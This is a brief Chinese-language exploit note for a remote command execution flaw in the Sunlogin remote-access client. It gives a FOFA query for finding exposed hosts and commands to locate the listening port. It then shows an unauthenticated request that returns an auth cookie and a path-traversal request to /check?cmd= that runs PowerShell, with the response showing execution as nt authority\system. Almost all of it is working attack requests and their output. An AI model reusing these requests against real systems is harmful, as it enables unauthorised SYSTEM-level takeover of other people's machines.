FOFA语句 body=”Verification failure”
本地复现: tasklist |findstr SunloginClient.exe 寻找pid
找端口: netstat -ano|findstr pid
端口为0.0.0.0的监听
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1Host: 192.168.88.164:50327User-Agent: wengenbAccept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveHTTP/1.1 200 OKCache-Control: no-cacheContent-Type: text/htmlContent-Length: 87{"__code":0,"enabled":"1","verify_string":"DTOAQFngEPZBDNNp5QLOYftzErN7RBCA","code":0}
会返回认证COOKIE
携带COOKIE发包
GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami HTTP/1.1Host: 192.168.88.164:50327User-Agent: wengenbAccept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveCookie: CID=DTOAQFngEPZBDNNp5QLOYftzErN7RBCA;HTTP/1.1 200 OKCache-Control: no-cacheContent-Type: text/jsonContent-Length: 21nt authority\system
漏洞成功验证截图
